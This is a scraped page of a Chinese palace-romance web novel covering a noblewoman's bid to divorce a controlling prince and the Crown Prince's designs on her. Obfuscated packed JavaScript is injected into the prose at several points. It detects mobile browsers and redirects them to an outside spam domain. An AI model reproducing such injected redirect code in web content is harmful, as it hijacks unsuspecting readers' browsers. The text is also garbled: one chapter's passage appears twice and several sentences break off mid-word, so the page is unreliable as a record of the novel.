他觑着沈玉姝的面色,又赔笑补充道:“今日太医院里当值的都在这了。” 他有心劝劝王妃,却在看见沈玉姝古井无波的脸色时,安静将后头话吞了下去。 对沈玉姝来说,做了就是做了,再如何扶泥填上漏缺都是于事无补。 她看着前面忙碌的太医,其中一个年岁最大的收了小枕,走到沈玉姝面前,恭敬行礼:“王妃。” “常院判不必多礼。”沈玉姝匆匆扶起他,“秋兰怎么样?” 常院判:“皆是皮外伤,按时抹药便无大碍,臣已写下药方,届时一日三次,好生修养便是。” 沈玉姝悬了许久的心总算落下来。 她最担心的事就是秋兰落病根,耽误了以后,那她只怕这辈子也难以安心。 沈玉姝舒了口气:“多谢常院判。” 常院判摆摆手,身后小徒弟收好了药箱,先后出去了。 其他几个太医也都大差不差,尽数离开了。 苏进周全行了礼:“奴才就先告退了,药物和三餐会有人定时送来,王妃您……” 沈玉姝打断了他的话:“出去吧。” 软禁吗。 沈玉姝平静想着。 苏进咽下话头,躬身退了出去。 王爷心思难猜,王妃心思更难猜。 可、皇后娘娘那边……只怕最后吃亏的还是王爷。 苏进这么想着,驱使侍卫关上院门,不忘交代:“好生看着,莫怠慢了。” 侍卫抱拳:“是。” 屋门关上,里头就隔绝了五六分的光,显得有些暗淡。 沈玉姝面色晦暗。 她猜不透尚琢的心思。 分明是不喜欢的鸟,为什么要费尽心思禁锢住鸟的来去。 秋兰已经上过药,却还是睡得不安稳。 沈玉姝走到床边坐下,握着她的手,目光微凝。 她忽然知晓了尚琢软禁她的用意—— 她若想和离,就必须要见过圣上、皇后。 一朝软禁,她所有自由就尽数剥夺。 是对她反抗的惩罚,也是对她生出心思的惩罚。 沈玉姝捻着指尖。 她该如何才能见到圣上呢。 窗外,陈肆躲在角落里急得挠脖子,古铜色的皮肤硬生生被他挠出交错的红痕。 他转了几圈,还是先回东宫复命去了。 他想:殿下让他顾着沈小姐安全,如今怎么看都不像安全的样子。 ***** 东宫 书房里,三个幕僚噤若寒蝉地站在桌几前。 尚珏脸色黑得可怕,将折子重重扔到地上,砰砰几下,落在他们脚尖。 “废物。”尚珏沉声呵道。 三人却是一个字都不敢说。 外人只觉殿下温润如玉,他们为太子卖命的却最是清楚—— 狠辣、冷心。 其中一个幕僚哆嗦着想解释:“殿、殿下……” “闭嘴,孤不想听废话。”尚珏冷声说着,话音却忽然被打断。 “殿下!”陈肆傻头傻脑地闯进书房,外头三个侍卫都没拉住,“沈小姐出事了!”陈肆自顾自地补充道。 “什么?”尚珏皱眉。 …… 书房里的人尽数清了,尚珏听着陈肆的话,微微挑起一边剑眉,食指和中指在圈椅扶手上有节奏地敲打着,浅淡的虎口痣越发清晰起来。 他似笑非笑:“你是说,尚琢把她软禁了?” 陈肆点点头:“苏进说谁都不能进去。” 尚珏轻笑一声。 他原以为,要一点点引诱着沈玉姝走进自己的地盘,没想到那个蠢弟弟还是有几分用,帮着他将沈玉姝往自己身边送。 沈玉姝本也是他的人,不过是一时不察让人偷了去。 想到这里,尚珏原本因为他们要和离而生出的一点愉悦又散了。 就像是好生藏在家里漂亮的波斯,一朝被人拐走,圈进了别人的府邸里。 尚珏讨厌这种失控、被染指的感觉。 他有一搭没一搭敲打着扶手,良久:“派人去找父皇,说孤有要事求见。” 陈肆:“是。” ***** 夜幕时分,主院早早掌过灯。 虽是被软禁,任何人不得出入,但该有的用度却是一点没少。 甚至更多了些。 沈玉姝用过晚膳后,便坐在罗汉床边看书。 书是之前想吃牛乳糖,从书肆带回来的那几本,不过那次没能见到东家就是了。 她翻书的手顿了顿,和离的心是东家给她讲故事定下的,她还没来得及道谢呢。 不过话说回来,东家一个谢、太子殿下一个谢,两个谢都还没道,等哪天有了机会,得登门道谢才是。 “王妃。”一个眼生的侍女捧着数十匹罗缎进来,放在正厅的桌上。 是尚琢派来伺候的人。 “这是什么。”沈玉姝翻过书页,淡声问。 “是王爷送来的,说给您做开春的衣服。”侍女恭敬答道。 沈玉姝敛过眼,安静地合上书:“告诉你们王爷,我留不到开春,不用弄这些东西来。” 她真的搞不明白,如今尚琢做这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈玉姝无言。 她不认同何之纯的话,却也不想在没经历过的时候说些轻飘飘的话。 她以前不懂事,好像不知道为什么活着,父亲说她会做合格的主母,她也就应着那么想了。 可如今沈玉姝不这么想了,她想看看自己会怎么活。 沈玉姝道:“不过你应该也不想做一辈子外室吧。” 她眉梢挂着一点笑意:“我一日坐着这个位置,你就是名不正言不顺的,还是你当真相信他那点虚无的爱?” 何之纯嗤笑:“你不必激我,你要和离、我要上位,我们是一条船上的。” 她敛容站起身:“我会帮你把消息透露给宁王妃,至于剩下的,就不是我的事了。” “这就够了。” 达成了今夜的目的,沈玉姝难得有一些好心情,生出了一点坏心思:“谢谢嗷。”她声音带了几分俏皮。 何之纯气结,头也不回地离开了。 待人离开,沈玉姝心头的阴霾总算散了几分。 如今,就差陛下与皇后,她就能与尚琢和离了。 19. 第 19 章 翌日早朝后。 御书房里熏着龙涎香,比起尚珏常用的熏香浓上不少,他不喜欢这个味道。 尚珏信步走入书房,腰间白玉珮撞上环扣,发出一点清脆的声音,他躬身行礼,背脊像一把待发的弓:“儿臣见过父皇。” 从平德帝的方向看过去,正好能望见尚珏的眼睛。 雾霭霭的,像蕴着远山。 像极了他早逝的母妃。 平德帝思绪拉远,良久才收过心:“起来吧,昨儿个你与朕说有事找,可是扬州那边出了什么事?” 他对这个儿子总是欢喜的,不免多了几分耐心。 只是有些可惜,沈氏没能嫁给珏儿。 尚珏正身,嗓音温和:“是吏部对刑部里的几个官员考绩出了问题,功绩有出入,事关重大,儿臣左思右想还是前来禀报父皇。” 刑部归尚琢所管。 尚珏捻着食指和中指,拇指腹在二指中反复摩挲。 他看着平德帝微微皱起的眉,笑意深了两分。 “老三近日大婚,总有几分顾不上。”平德帝指尖在桌面上小幅地敲着,发出有些沉闷的声音。 玩忽职守耽误正事,确实不像话。 他紧皱着眉,露出眉间两道颇深的纹。 他想起锦衣卫今日与他禀报,尚琢与何之纯的事。 平德帝眉宇间有些不耐。 他不喜何之纯的作风,更不喜这样的人缠在他儿子身边,这才应了让沈氏嫁予尚琢一事。 否则即便是出了中秋宴的事,他若是不想,一干下人又有谁敢多一句嘴? 可谁成想,越来越不像话。 尚琢和何之纯的事闹得满城风雨,连带着朝中也对沈策多了几分怨声载道。 沈策就是沈父。 脱离掌控的感觉,让他极为厌恶。 从某种意义上来说,尚珏和平德帝是一样的,过分的掌控欲。 像是披上了人皮的牲畜,还含着兽类的习性。 他、尚琢、平德帝都是这样。 所以尚珏轻而易举猜中了平德帝所想。 他安静微敛着眼,浓黑的睫毛垂下一点阴影,遮去了眼里的温润。 果不其然,他听见平德帝问:“老三后宅不宁,你如何看。” 尚珏轻眨了几下眼,散掉那几分涌上来的冷厉尖锐。 他道:“以大局重,修正不合适的方向。” 平德帝良久没说话。 尚珏轻捻了指尖,嗅见了他的猫的味道。 御书房的烛火发出一点噼啪的响声。 平德帝道:“你说的不错。” 尚珏微微勾起唇角。 迷路的小猫没有错,他会亲自带着小猫一步步走回家。 可怜的小猫。 尚珏想。 平德帝淡声:“来人,传恭王入宫。” 宫里的消息传得快,御书房的事,连带着昨日沈玉姝提和离的消息,一并传进了凤仪宫。 ***** 可怜的小猫适才睡醒。 沈玉姝还困,眼睛微肿,鼻尖也泛着红。 她屋里熏着陌生的熏香,扰得她一夜不住地打喷嚏。 熏香是昨夜尚琢命人送来的,是龙涎香,沈玉姝不喜这种浓厚的味道,尤其是她莫名对这香有些不耐。 她不懂尚琢是什么意思、也不想明白。 她睫毛湿哒哒的,浸着些泪,看着分外可怜。 玉兰进来时看到的便是这副模样,她心里软软的。 她虽然伺候沈玉姝时间不长,但她是打心里喜欢她的。 她走上前几步:“小姐,宁王妃的马车在外头停着来接您。” 沈玉姝有些迟钝地揉揉鼻尖,抬起眼来,慢慢冒出些亮光。 慧姐姐来接她了,她就可以走了! 她一点都忍不了在恭王府的每一寸。 她声音有些欢快:“去推辆素舆,带着秋兰,我们现在就走。” 沈玉姝没打算带走任何东西,自顾穿上昨日从家里换上的衣服。 屋里的一砖一瓦都是尚琢的给的,沈玉姝什么都没碰,被侍女收拾得干净,甚至没什么人气,不像人住的地方。 她带着秋兰和玉兰径直离开了。 门外的侍卫想拦,但尚琢不在,宁王妃的轿辇却直白停在那。 他们谁也不敢得罪,只得放了沈玉姝三人,晚些将事推给宁王妃便是。 沈玉姝直到上了 翌日早朝后。 御书房里熏着龙涎香,比起尚珏常用的熏香浓上不少,他不喜欢这个味道。 尚珏信步走入书房,腰间白玉珮撞上环扣,发出一点清脆的声音,他躬身行礼,背脊像一把待发的弓:“儿臣见过父皇。” 从平德帝的方向看过去,正好能望见尚珏的眼睛。 雾霭霭的,像蕴着远山。 像极了他早逝的母妃。 平德帝思绪拉远,良久才收过心:“起来吧,昨儿个你与朕说有事找,可是扬州那边出了什么事?” 他对这个儿子总是欢喜的,不免多了几分耐心。 只是有些可惜,沈氏没能嫁给珏儿。 尚珏正身,嗓音温和:“是吏部对刑部里的几个官员考绩出了问题,功绩有出入,事关重大,儿臣左思右想还是前来禀报父皇。” 刑部归尚琢所管。 尚珏捻着食指和中指,拇指腹在二指中反复摩挲。 他看着平德帝微微皱起的眉,笑意深了两分。 “老三近日大婚,总有几分顾不上。”平德帝指尖在桌面上小幅地敲着,发出有些沉闷的声音。 玩忽职守耽误正事,确实不像话。 他紧皱着眉,露出眉间两道颇深的纹。 他想起锦衣卫今日与他禀报,尚琢与何之纯的事。 平德帝眉宇间有些不耐。 他不喜何之纯的作风,更不喜这样的人缠在他儿子身边,这才应了让沈氏嫁予尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958644|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琢一事。 否则即便是出了中秋宴的事,他若是不想,一干下人又有谁敢多一句嘴? 可谁成想,越来越不像话。 尚琢和何之纯的事闹得满城风雨,连带着朝中也对沈策多了几分怨声载道。 沈策就是沈父。 脱离掌控的感觉,让他极为厌恶。 从某种意义上来说,尚珏和平德帝是一样的,过分的掌控欲。 像是披上了人皮的牲畜,还含着兽类的习性。 他、尚琢、平德帝都是这样。 所以尚珏轻而易举猜中了平德帝所想。 他安静微敛着眼,浓黑的睫毛垂下一点阴影,遮去了眼里的温润。 果不其然,他听见平德帝问:“老三后宅不宁,你如何看。” 尚珏轻眨了几下眼,散掉那几分涌上来的冷厉尖锐。 他道:“以大局重,修正不合适的方向。” 平德帝良久没说话。 尚珏轻捻了指尖,嗅见了他的猫的味道。 御书房的烛火发出一点噼啪的响声。 平德帝道:“你说的不错。” 尚珏微微勾起唇角。 迷路的小猫没有错,他会亲自带着小猫一步步走回家。 可怜的小猫。 尚珏想。 平德帝淡声:“来人,传恭王入宫。” 宫里的消息传得快,御书房的事,连带着昨日沈玉姝提和离的消息,一并传进了凤仪宫。 ***** 可怜的小猫适才睡醒。 沈玉姝还困,眼睛微肿,鼻尖也泛着红。 她屋里熏着陌生的熏香,扰得她一夜不住地打喷嚏。 熏香是昨夜尚琢命人送来的,是龙涎香,沈玉姝不喜这种浓厚的味道,尤其是她莫名对这香有些不耐。 她不懂尚琢是什么意思、也不想明白。 她睫毛湿哒哒的,浸着些泪,看着分外可怜。 玉兰进来时看到的便是这副模样,她心里软软的。 她虽然伺候沈玉姝时间不长,但她是打心里喜欢她的。 她走上前几步:“小姐,宁王妃的马车在外头停着来接您。” 沈玉姝有些迟钝地揉揉鼻尖,抬起眼来,慢慢冒出些亮光。 慧姐姐来接她了,她就可以走了! 她一点都忍不了在恭王府的每一寸。 她声音有些欢快:“去推辆素舆,带着秋兰,我们现在就走。” 沈玉姝没打算带走任何东西,自顾穿上昨日从家里换上的衣服。 屋里的一砖一瓦都是尚琢的给的,沈玉姝什么都没碰,被侍女收拾得干净,甚至没什么人气,不像人住的地方。 她带着秋兰和玉兰径直离开了。 门外的侍卫想拦,但尚琢不在,宁王妃的轿辇却直白停在那。 他们谁也不敢得罪,只得放了沈玉姝三人,晚些将事推给宁王妃便是。 沈玉姝直到上了 20. 第 20 章 沈玉姝坐在宁王府的院子里,专心致志剥着手中橘子的橘络。 内侍站在一旁,嘴皮子啪啦碰个不停,说着恭王府适才发生的事—— “然后恭王殿下把今夜值守下人全罚了一顿。” 沈玉姝敛眸听着,把橘子掰成两半,递了一半到温慧手上。 她含糊地应了声,也不知听没听进去。 温慧瞧着好笑,让伺候的人都下去了。 她倒了一杯牛乳茶到沈玉姝面前:“别担心,你既来了宁王府,姐姐就会护着你。” 她从封地回来时,当日就听说了尚琢的风流韵事,恨不得上去砸了恭王府,被宁王尚琰好不容易才劝下来。 如今沈玉姝下定决心和尚琢和离,她心里不知道有多高兴。 只是…… 温慧摸了摸沈玉姝的发顶。 她知道沈玉姝胆小,像一只毛色上乘的波斯猫,性格温顺,被逼急了才会露出一点爪子。 她担心沈玉姝被这事吓到了。 沈玉姝把最后几瓣橘子塞到嘴里,头晃晃地摇了几下,咕咚把橘子吞下去。 “不怕的。”沈玉姝说。 她只有些难过。 一桩期待许久的婚姻,最后伤害了周围所有人。 沈玉姝吸吸鼻子,咕噜喝了半杯牛乳茶,把眼里冒出的酸涩强压下去。 她有时候觉得,她是不是真的不够好,所以才把婚姻过得一团糟。 沈玉姝用力揉了一把眼睛,抬起头对温慧说:“这两天麻烦慧姐姐了。” “说的什么话。”温慧不轻不重地弹了下她的眉心,“安生住着就是,你和那种人和离,姐姐高兴还来不及。” 沈玉姝还没来得及说话,就被温慧牵起来往屋里走:“好了,这么晚了,赶紧去睡,早些休息。” 她说着就把门关上,自顾自地出了门。 徒留沈玉姝一个人愣愣呆在屋里。 沈玉姝:“…………” 好吧。 ***** 沈玉姝在宁王府呆了四日,尚琢就来了四日。 每天被温慧身边的婆子恭恭敬敬地迎进正厅,沏上最好的茶,然后干坐一天。 要茶又茶、要炭有炭。 但温慧不露面,沈玉姝更不露面。 沈玉姝坐在温慧安排人给她做的小秋千上,听下人说尚琢又来了。 下人道:“恭王殿下今日凶得很,罚了好几个下人。” 他一边说着,一边觑沈玉姝的表情。 他们下人都相互熟的,沈玉姝又不是他们的正经主子,平白连累了他们,心中自然有气。 宁王不说、宁王妃不说,但做下人的都是想沈玉姝走的。 沈玉姝坐在秋千上,踮着脚晃了晃,一时没应声。 下人看着她无动于衷的神色撇撇嘴,却也不敢多说什么。 正要转身,就听沈玉姝道:“带我去看看吧。” 下人眼睛一亮。 沈玉姝走在回廊上,她想,这事总该有个结论。 而且,她不想再牵连其他人了。 正厅离她住的小院不远,不过片刻就到了,其他下人不知什么时候已经尽数离开了。 沈玉姝敛着眼,没什么情绪地推开门。 正厅的门还没修葺好,推开的时候有极轻的“吱呀”声。 刚推开一条缝,沈玉姝就听里面传来一声不虞的冷淡声音:“滚出去,没规矩。” 沈玉姝将门完全推开,背着光,平拉着脸看着尚琢。 看到她的时候,尚琢有一瞬间的惊愕,旋即又被冷淡覆盖。 他冷着脸:“几日不见,不知道先问安?” 沈玉姝轻轻拨了一下指尖,语气平淡:“你在宁王府闹来闹去,难道就有规矩了?” “你!” 沈玉姝心底升出一些荒谬。 她以为尚琢至少会先与她道个歉。 但他本来就是这么个人。 厌恶的情绪在沈玉姝心底蔓延,几乎漫上眼底。 她眨眨眼,走进去关上了门。 她不想被外人听见闹笑话。 沈玉姝道:“你到底有什么事。” 尚琢眉头一皱,下意识就想说些什么,但临了咽下去道:“跟本王回去。” 沈玉姝露出一个疑惑的表情,一边眉低低皱着,把一双鹿眼上挑的弧度被拉平。 她说:“为什么?” 简单、直白的反问。 尚琢被她问的一愣,脸瞬间就沉了下去,薄薄的唇绷得一条线:“什么为什么。” 他说的慢,声音又沉,一听就知道是动了怒。 但沈玉姝不怕,她一双眼直直望向尚琢,没什么情绪,或者说,没什么想对他说的。 沈玉姝道:“我与你说和离,住在你那总不合适,但事情没个定论,我就回娘家,难免外面说的不好听。” 她顿了顿:“你不要把事情闹得太难看。” 尚琢垂着眼看向她,那双眼睛像一只不谙世事的麋鹿,他曾经在围猎是猎到过一只,最后得了次名,头名是太子。 他每每看到沈玉姝,就总会想起那只鹿。 他捻了捻指尖,声调平稳:“不可能,我没同意和离。” 沈玉姝细长的眉瞬间就蹙了起来,拉着一张白皙的脸不快地敛过眼。 她其实不是一个会吵架的人,总觉得说着重话会让别人不舒服,自己心里也会有负担。 所以她皱着眉,叼着下唇肉,咬了又咬,也没说出什么骂人的话。 但她又实在讨厌尚琢的这副样子。 沈玉姝道:“那我就去大理寺,桩桩件件写出去,让律法来判能不能离。” 如果真的闹到大理寺,那就是义绝,两方名声都会不好看,尤其是尚琢这个过错方。 尚琢果不其然冷下了脸,手握成拳,手背青筋暴起,一道道纵横在皮肤下:“我都与你说过了,我们之后会有很多时间相处,那群街头百姓也会慢慢闭上嘴,你为什么非要揪着这件事不放?” 沈玉姝右手推出,做了个中止的手势:“那是你的问题,不管我揪不揪着,它都存在,那不是假的。” 她顿了顿:“况且,不是一件事了。” 沈玉姝不想听尚琢说话,言简意赅地收了尾:“我不想陪殿下你玩掌控游戏、满足你莫名的掌控欲,我们到此为止,这两日我就会入宫面圣……” “如果我和、”尚琢起了个话头,又骤然顿住了。 和什么呢?他没说下去。 沈玉姝也不关心,只安静地垂着眼:“这话我好像以前和你说过,但我还是想说,如果你早跟我说你有心上人,即便是皇后娘娘下旨,我也不会应的。” 尚琢觉察出几分异样。 他稍拧了眉心,压下那股怪异,只继续道:“如果你还是在因为你侍女的事生气,本王会请最好的太医给她医治,只要你跟本王回去。” 沈玉姝倦怠地移开眼,还不待她说话,内侍匆匆跑进来,轻轻敲了几下门,谄着声音道:“沈小姐,皇后娘娘唤您入宫呢。” 沈玉姝心头的大鼎骤然落下,落到了实处。 皇后娘娘见她,那和离这件事就几乎板上钉钉了。 毕竟皇后娘娘性子温和,即便对她有利用之心,也不会强逼着她不允和离。 沈玉姝只怕皇后避着她,轻拿轻放。 她缓声应道:“这就来。” 然后转身看着尚琢,道:“不是一个太医能解决的事。”她说,“落下去的板子不会自己消失,你也无非是板子没落到你身上,不知道疼,说这么轻飘飘的话。如果被打的是何之纯,你还能这么做没事人吗?” 尚琢道:“这怎么能相提并论。” 他话音落下,沈玉姝默然看着他:“不用再说了,你也不要再到宁王府闹事,不然我就报官。” 把你抓了。沈玉姝磨了磨牙,这么想着,转身推开了门,跟着内侍往外走了,没再管身后的尚琢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听着她的话,皇后静静放下瓷箸,周遭宫女有眼色地下去了,偌大的宫室里只剩她们两人。 沈玉姝也放下瓷箸,乖乖坐在灯笼凳上,等着皇后的下文。 “你是真的下定决心了?”皇后温柔的声线不知何时隐了,有几分与尚琢如出一辙的冷硬。 沈玉姝很怕这种人,她觉得不好打交道。 但她还是点头:“辜负了娘娘期望。” 皇后又道:“那些事恭王都会改,做错的事,本宫给你做主。” 沈玉姝摇头:“发生了就是发生了,强行继续也不好,臣女、更想嫁个体贴的人。” “体贴?”皇后挑着眉反问,“可是京中一干贵子,各有各的脾性,如何体贴?” 沈玉姝唔了声:“嫁个书生也不错,村夫也行。” 皇后:“…………” “胡言乱语。”她屈指弹了弹沈玉姝的发顶。 “唔……” “罢了。”皇后散了语气,“大抵是我们没有婆媳的缘分,你和你娘一样倔。” 沈玉姝不解,但总觉得周遭凝滞的气氛散开了。 她咬着唇,有些纠结。 皇后看着好笑:“本宫总不会强迫你们过下去,日后别忘了常进宫来看看本宫便是。” 沈玉姝眼睛一亮,她眼角内勾外翘,弧度圆润,惊喜起来瞧人的时候,总像一只不太成熟的小动物。 她抿着唇笑:“谢谢娘娘!” 皇后弯出一点笑:“吃饭吧。” 沈玉姝咬着筷子,皇后松了口,这事基本就成了。 她这几日因为尚琢守着,总出不去,还没去谢谢那书肆东家呢。 她舔着下唇,把粉嫩的唇舔出一点色气的水痕。 沈玉姝决定,等会出宫就去见小东家。 她、她总得先谢过小东家才是。 21. 第 21 章 尚琢回了恭王府。 他坐在马车上,一圈一圈转着拇指的扳指。 他压着眉眼,周身气息冷淡又深。 失控的感觉。 就像那次围猎,他废了不少功夫猎到了那头鹿,以为头名十拿九稳了,结果太子轻而易举拿到了他筹谋已久的位置。 他厌恶这种感觉。 和这次一样,沈玉姝怎么会与他和离。 她怎么敢。 尚琢眼皮褶深,看人的时候格外有压迫感,把坐在一旁的苏进吓得直哆嗦。 就在苏进以为这种气氛要一直持续下去的时候,突然听见恭王开了口。 尚琢问:“沈玉姝为什么会想与本王和离。” 苏进喉间一卡,试探着说:“大概是,不合适吧。” 尚琢冷笑一声:“她凭什么与本王合适。” 他说着,摩挲着扳指柔润的表面,良久又道:“本王能给她的地位,京中谁给得起?” 苏进道:“其他人自然与王爷比不得,待日后,王妃就知道您的好了。” 尚琢冷冷扯起唇。 他轻而易举给她的东西,京中谁给得起? 他得让沈玉姝知道,在京中,她能依附的只有他。 也只有他,才会愿意让她依附两分。 苏进瞧着恭王,一眼便瞧出主子的内心所想,嗫嚅着没敢说话。 他想:那应该不一定吧…… ***** 用过午膳后,沈玉姝便拜别了皇后。 直到这时,她才感到松快,她和尚琢中好像真的能划出一条线。 她不着痕迹地捂着上腹,行过周到的礼,一直走到宫道上,才敢揉着上腹轻轻呼出一口气。 她惯有胃脘痛的旧疾,很多年没犯,久到她都忘了,结果今日犯了。 沈玉姝一手扶着新刷过的、还有点清漆味的宫墙缓慢往前走着。 她原本想先去书肆谢过小东家—— 沈玉姝嘶嘶抽了口气,细长的眉紧拢着。 她缓着这一阵疼,想着还是算了,下次再谢…… “小姐!”玉兰焦急的声音传来,忙扶住她的身子,“你是不是哪里不舒服?” 沈玉姝抿着唇,轻轻点着头:“有些胃脘痛。” 玉兰替她捂着上腹,带着她慢慢往前走,“这可不能拖,得去医馆瞧瞧。” 她说着,扶着沈玉姝的身子往上带了带:“乌南街那有家医馆,大夫最擅看六腑,奴婢带您去看?” 沈玉姝疼的眼前发黑,还没听懂玉兰在说什么,下意识点点头,然后就被玉兰送到马车上。 位置都铺设了软垫,熏着温热的炭,适时地缓解了沈玉姝上腹的疼痛。 她轻舒了一口气,额角一炸一炸的也终于歇息下来。 她听见玉兰与车夫吩咐:“去乌南街。” 医馆也在乌南街吗? 沈玉姝迷迷糊糊冒出这个念头。 但她没纠结多久,困意裹着疼痛便卷上她的脑中,胡乱就睡了过去。 她昏沉做了个梦。 梦里是昏暗的房间,一点跃动的烛火。 她迷糊躺在床上,却惊觉她未|着|寸|缕,浑身酸软,连呼吸都烧着脸。 她轻轻动了一下手,手臂搭在眼睛上,浸出了一点眼泪。 这一点动作,几乎耗费了所有的余力。 她听见她呜咽一声,哭道:“不要了。” 话音落下,她的手被人执起,轻飘飘落下一个灼热的吻:“要的。” …… 沈玉姝忽然惊醒,她的右手好像还残留着那股触感和灼热的温度。 这是她第三次听见这个声音。 第一次是她回门,在凤仪宫见到太子,她听见这声音笑着说:“呼吸。” 第二次是她收到太子殿下的回信,她听见这声音哄着与她说:“听话,最后一次。” 这次是第三次。 沈玉姝捂着胸口,一点一点平息着紊乱的呼吸。 如果这是真的…… 沈玉姝把粉嫩的唇咬得有些发白。 她不敢再往下想,抬起手遮住有些灼热的眸子。 和梦里的一模一样。 沈玉姝指尖微蜷。 “小姐,到了。”玉兰的声音传进来,打断了沈玉姝的思绪。 沈玉姝揉了揉还在隐隐作痛的上腹,低低应了一声,躬身走下了马车。 微凉的冬风一过,吹得沈玉姝额角针扎一般疼。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14980830|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倚着秋兰,慢吞吞走进了医馆。 只是些常见病,大夫把过脉便开下药,指着人去煎药。 大夫道:“先喝一贴,好转了便回去吧,日后得好好吃饭,万万不可随着心。” 沈玉姝乖乖应下,白着脸坐在角落里,旁边用屏风挡着,隔出一个相对私密的空间。 这让沈玉姝稍稍松了口气。 她手捂在上腹处,稍稍用力摁着,缓解了一线那股抽疼。 沈玉姝紧拢的眉心这才散开几分。 “姑娘。”来人声音温润,带着一些问话。 他将药碗放在沈玉姝手边:“趁热喝。” 沈玉姝觉得这声音没由来有些耳熟。 她抬起眼,撞上一双雾蒙蒙的眼睛。 像画里的山水。 沈玉姝眼前蒙着一层水雾,额角也因为上腹的疼冒上薄薄的汗。 她抿着唇:“多谢。” 她说着,腹间落下一个偏烫的温度,是个汤婆子。 “姑娘好好休息。”男人说完就要离开。 沈玉姝脑袋懵懵的,捧着汤婆子纠结地喝下那碗药,舌根都苦得发酸。 她搁下碗,手心又落下了一颗糖,牛乳味侵进她的鼻尖。 她下意识塞在舌根下,抬起眼去寻男人的身影:“谢、谢谢你。” 尚珏轻轻挑起一边眉,垂眼看到沈玉姝晕乎乎的鹿眼,还有因为疼痛而升起一点红晕。 他捻着指尖,几乎立刻就想起这只小猫那夜在他怀中撒娇的模样。 他喉结一滚,眼底划过一点暗色,声音却依旧温润带笑:“举手之劳。” 沈玉姝困顿得眼皮在打架,胡乱唔了两声,就寻了个合适的姿势睡了过去。 尚珏无奈弯起唇角。 算了,别把人吓跑了。 他退后一步,保持出一个合适的距离。 “下次见。”尚珏眨眨眼,颔首让陈肆进来送了个小毯,亲身盖在沈玉姝身上。 “小可怜。”他说。 沈玉姝睡梦中轻轻拢了下眉,也不知听见了没。 尚珏轻笑了声,带着陈肆往小门走了。 他边吩咐道:“去备个礼,嗯、和离礼。” 陈肆:“…………嗯?” 22. 第 22 章 沈玉姝胃脘痛了三日,还牵出了发热。 她病得少,这两年就病了两回,一回是成婚那夜,一回是这次。 身上的病痛眩晕,直到第四日才好转。 沈玉姝抱着从医馆带回的汤婆子,坐在罗汉床边舒了一口气。 她是真的不爱喝药,但和离之事敲定了七八,她担心陛下召见时病体耽搁,只得一连三日都捏着鼻子灌药。 沈玉姝捻着衣角,感觉自己被腌入味了。 还不待她缓缓,外头内侍匆匆跑进来:“王妃,陛下唤您入宫,刘公公正在外头候着呢。” 沈玉姝微凝了面色:“知道了,我更过衣便来。” 内侍连声答应,去与刘公公复命。 她心头因为紧张微微悬起,事情临了要成了,反多了几分不安心。 沈玉姝坐了会,走到偏院去,先看过秋兰。 秋兰还昏着,面色苍白,受伤的右腿肿了一圈,府医说是伤到骨头了。 她在床边坐下,执起秋兰有些干燥的手摩挲几下:“对不起。” 沈玉姝眼睛泛着红,声音哽咽。 如果她能早些下定与尚琢和离的心,也许秋兰就不会被罚。 到底都怪她。 沈玉姝觉得自己可真没用,总让别人替自己受过。 她抬手抹去下巴尖的眼泪,喃喃将秋兰的手塞进暖和的被子里,想说什么,又觉得语言苍白,尽数咽下去。 她有些害怕的心忽然就静了下来,她想,她得勇敢一点。 ***** 今日下了小雨,濛濛的,打在伞面有些重。 沈玉姝随着内侍入了宫。 内侍在御书房门前轻扣两声,恭敬道:“陛下,恭王妃来了。” 平德帝平稳的声线从里传来:“进来吧。” 内侍对沈玉姝微微欠身,替她推开门:“王妃,您请。” 沈玉姝略颔首,提着裙摆走了进去。 屋内除了平德帝,还有一人。 尚琢穿着一身朝服,面色冷淡站在一侧,见沈玉姝来也未曾投去眼神。 沈玉姝视线淡淡划过,走到平德帝面前礼数周全拜下:“臣女参见陛下。” 她垂着眼,低看在眼前精致的地毯上,却也能感受到身上落下一道打量的视线。 良久,才听平德帝开口:“起来坐吧。” 沈玉姝谢过,盈盈起身,在内侍搬来的圈椅上落座。 平德帝道:“今日朝中为你二人事争论不休,朕想听听你二人的想法。” 这算是沈玉姝第一次,私底下与平德帝见面。 与宫宴的和蔼不一样,瞧着尽是冷心和威严。 沈玉姝素来害怕这种人。 她稍掐了指尖,稳着声线:“陛下,臣女心意已决,也与家父商议,望陛下成全、” “不可能。”沈玉姝最后一个字刚起了个音,就被尚琢冷声打断。 他眼睛狭长上挑,看人的时候格外冷漠些。 尚琢看着沈玉姝,齿间挤出几个字:“本王没答应。” 平德帝略投了目光,微微挑起一边眉:“那你怎么想?” 尚琢道:“不和离。” 那些话沈玉姝都说倦了。 